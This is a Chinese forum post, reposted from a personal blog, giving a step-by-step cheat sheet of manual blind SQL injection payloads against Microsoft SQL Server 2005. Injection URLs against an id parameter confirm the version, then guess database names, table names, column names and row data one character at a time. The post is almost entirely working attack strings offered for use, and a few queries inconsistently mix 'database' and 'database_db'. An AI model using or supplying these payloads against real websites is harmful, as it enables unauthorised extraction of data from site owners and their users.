主题 : MSSQL2005 手工盲注 总结
金秋果實豐 金風吹黃葉
级别: 七朵秋菊
UID: 33333
精华: 0
发帖: 7917
威望: 34658 点
无痕币: 605 WHB
贡献值: 0 点
在线时间: 3192(时)
注册时间: 2007-12-25
最后登录: 2022-08-05

0 MSSQL2005 手工盲注 总结

摘自 www.oldjun.com

(新年了,好久没更新,帖一些以前用的SQL语句~)

好多人贴了2005注入语句,基本是显错模式的,如果显错,很多工具还是可以用的;但盲注,工具貌似就不咋地了,pangolin注不了2005,其他2005注入的注入工具对于盲注貌似也很感冒;网上没几个盲注语句,于是平时用到的时候自己写,现在贴出来,某些地方类似于MSSQL2000,不完全一样;其实手工还是蛮快的,还可以想怎么变换就怎么变换。这里贴出的语句盲注时使用,如果可以显错,直接加特殊字符然后convert到int,不需要这么麻烦。

判断库是否确实为MSSQL2005:
http://www.oldjun.com/oldjun.aspx?id=1 and substring((select @@version),22,4)='2005'

猜数据库名:

先猜dbid:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1
根据dbid猜库名,先猜出长度:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=12)=1
再逐位猜:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and ascii(substring(name,1,1))>90)=1

猜表名(假设库名已经猜出为database):

可以尝试先看有没管理表:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where xtype='u' and name like '%admin%')=1

猜第一个,先长度:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u') and len(name)=9)=1
猜第一个表名,逐位猜:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))>90)=1
猜第二个表名(假设第一个为table1):
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u' and name not in ('table1')) and ascii(substring(name,1,1))>90)=1
...

猜字段(假设表名已经猜出为table):

猜第一个字段:
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table')) and ascii(substring(name,1,1))>90)=1
猜第二个(假设第一个为column1)
http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table') and name not in ('column1')) and ascii(substring(name,1,1))>90)=1
...

猜数据(假设要猜的字段为name):

http://www.oldjun.com/oldjun.aspx?id=1 and (select count(*) from database.dbo.table where name in (select top 1 name from database_db.dbo.table) and ascii(substring(name,1,1))>90)=1
秂生完整在于學繪勇敢麵對人生悲劇而繼續活下去
Total 0.036423(s) query 3, Time now is:04-25 06:05, Gzip enabled 粤ICP备07514325号-1
Powered by PHPWind v7.3.2 Certificate Code © 2003-13 秋无痕论坛